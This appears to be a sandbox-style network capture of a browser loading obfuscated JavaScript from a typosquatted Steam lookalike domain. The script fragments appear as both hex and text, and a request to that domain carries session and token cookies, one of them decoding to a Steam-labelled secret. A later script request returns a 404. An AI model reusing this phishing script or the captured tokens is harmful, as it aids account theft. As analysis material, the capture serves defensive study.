_0x16b3b9=_0x55d9;function _0x6fab80(){}let _0x45945f=_0x6fab80[_0x16b3b9(0x17b)];return _0x45945f['on']=function(_0xed842c,_0x501283){const _0x41d80a=_0x16b3b9;if(!_0xed842c\|\|!_0x501283)return this;let _0x3eaac0=this[_0x41d80a(0x19a)]=this['_events']\|\|{}
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 31 33 5d 3b 66 6f 72 28 6c 65 74 20 5f 30 78 33 33 35 66 38 33 20 6f 66 20 5f 30 78 63 65 36 34 62 31 29 5f 30 78 34 39 36 34 34 39 26 26 5f 30 78 34 39 36 34 34 39 5b 5f 30 78 33 33 35 66 38 33 5d 26 26 28 74 68 69 73 5b 5f 30 78 33 65 36 35 39 31 28 30 78 31 62 33 29 5d 28 5f 30 78 33 30 64 62 31 33 2c 5f 30 78 33 33 35 66 38 33 29 2c 64 65 6c 65 74 65 20 5f 30 78 34 39 36 34 34 39 5b 5f 30 78 33 33 35 66 38 33 5d 29 2c 5f 30 78 33 33 35 66 38 33 5b 5f 30 78 33 65 36 35 39 31 28 30 78 31 39 31 29 5d 28 74 68 69 73 2c 5f 30 78 39 38 64 32 36 65 29 3b 72 65 74 75 72 6e 20 74 68 69 73 3b 7d 2c 5f 30 78 34 35 39 34 35 66 5b 5f 30 78 31 36 62 33 62 39 28 30 78 32 32 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 34 33 61 66 33 62 3d Data Ascii: 13];for(let _0x335f83 of _0xce64b1)_0x496449&&_0x496449[_0x335f83]&&(this[_0x3e6591(0x1b3)](_0x30db13,_0x335f83),delete _0x496449[_0x335f83]),_0x335f83[_0x3e6591(0x191)](this,_0x98d26e);return this;},_0x45945f[_0x16b3b9(0x226)]=function(){const _0x43af3b=
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 29 5d 3d 5f 30 78 35 38 34 32 62 32 28 30 78 31 63 31 29 2c 5f 30 78 34 65 65 65 62 62 5b 27 62 69 6e 64 48 61 6e 64 6c 65 73 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 31 37 36 38 61 38 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 5f 30 78 31 37 36 38 61 38 28 30 78 32 33 37 29 5d 28 5f 30 78 31 37 36 38 61 38 28 30 78 31 37 31 29 2c 74 68 69 73 5b 5f 30 78 31 37 36 38 61 38 28 30 78 31 38 30 29 5d 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 32 35 62 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 64 34 37 30 62 38 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 5f 30 78 64 34 37 30 62 38 28 30 78 32 33 37 29 5d 28 27 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 Data Ascii: )]=_0x5842b2(0x1c1),_0x4eeebb['bindHandles']=function(){const _0x1768a8=_0x5842b2;this[_0x1768a8(0x237)](_0x1768a8(0x171),this[_0x1768a8(0x180)]);},_0x4eeebb[_0x5842b2(0x25b)]=function(){const _0xd470b8=_0x5842b2;this[_0xd470b8(0x237)]('removeEventListene
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 5b 5f 30 78 34 64 63 34 36 61 5d 28 5f 30 78 37 36 33 37 33 63 2c 5f 30 78 31 30 31 32 32 30 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 32 35 63 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 31 63 62 39 37 29 7b 74 68 69 73 5b 27 70 6f 69 6e 74 65 72 44 6f 77 6e 27 5d 28 5f 30 78 32 31 63 62 39 37 2c 5f 30 78 32 31 63 62 39 37 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 31 65 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 30 64 33 66 65 29 7b 63 6f 6e 73 74 20 5f 30 78 35 65 32 65 32 37 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 27 70 6f 69 6e 74 65 72 44 6f 77 6e 27 5d 28 5f 30 78 32 30 64 33 66 65 2c 5f 30 78 32 30 64 33 66 65 5b 5f 30 78 35 65 32 65 32 37 28 30 78 31 38 36 Data Ascii: [_0x4dc46a](_0x76373c,_0x101220);},_0x4eeebb[_0x5842b2(0x25c)]=function(_0x21cb97){this['pointerDown'](_0x21cb97,_0x21cb97);},_0x4eeebb[_0x5842b2(0x1e8)]=function(_0x20d3fe){const _0x5e2e27=_0x5842b2;this['pointerDown'](_0x20d3fe,_0x20d3fe[_0x5e2e27(0x186
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 5f 30 78 33 31 64 35 62 33 28 30 78 31 38 64 29 5d 28 5f 30 78 33 31 64 35 62 33 28 30 78 31 38 38 29 2c 5f 30 78 33 32 32 61 65 38 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 31 39 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 62 35 65 38 35 29 7b 63 6f 6e 73 74 20 5f 30 78 33 38 31 61 36 63 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 5f 30 78 33 38 31 61 36 63 28 30 78 32 31 33 29 5d 28 27 70 6f 69 6e 74 65 72 4d 6f 76 65 27 2c 5f 30 78 31 62 35 65 38 35 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 27 70 6f 69 6e 74 65 72 4d 6f 76 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 32 63 61 66 32 2c 5f 30 78 34 36 34 35 66 36 29 7b 63 6f 6e 73 74 20 5f 30 78 32 35 61 37 32 63 3d 5f 30 78 35 38 34 32 62 32 3b 6c 65 Data Ascii: _0x31d5b3(0x18d)](_0x31d5b3(0x188),_0x322ae8);},_0x4eeebb[_0x5842b2(0x197)]=function(_0x1b5e85){const _0x381a6c=_0x5842b2;this[_0x381a6c(0x213)]('pointerMove',_0x1b5e85);},_0x4eeebb['pointerMove']=function(_0x32caf2,_0x4645f6){const _0x25a72c=_0x5842b2;le

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:46 UTC	1150	OUT	GET /218104c45072d9fe0abdcd78906efeffbda19b122733/f0013dccce18ce1efa061fcd37ed65832a4c8bf11eca.js HTTP/1.1 Host: staemcomnunlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://staemcomnunlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
2025-01-14 00:08:47 UTC	1290	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 00:08:47 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Etag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tqFj5W3SarjeiWFfv6BS8dtJyE%2Fg8lOY0uZcQVfo1a4WaDkL%2BX6qY5gH1PID5FyEnbjUIfJPC6EMh4Sm68O4EBsz%2B3Pmtc6lbL7eJW4Jaq9N%2FtXpLIFgkoeAg%2F7Y1c28OrUTxbE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901964bdabe95590-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=1724&rtt_var=861&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1728&delivery_rate=1693735&cwnd=142&unsent_bytes=0&cid=bdd52df7f581e45a&ts=291&x=0"
2025-01-14 00:08:47 UTC	71	IN	Data Raw: 34 31 0d 0a 7b 22 6d 65 73 73 61 67 65 22 3a 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 34 7d 0d 0a Data Ascii: 41{"message":"Page not found","error":"Not Found","statusCode":404}
2025-01-14 00:08:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0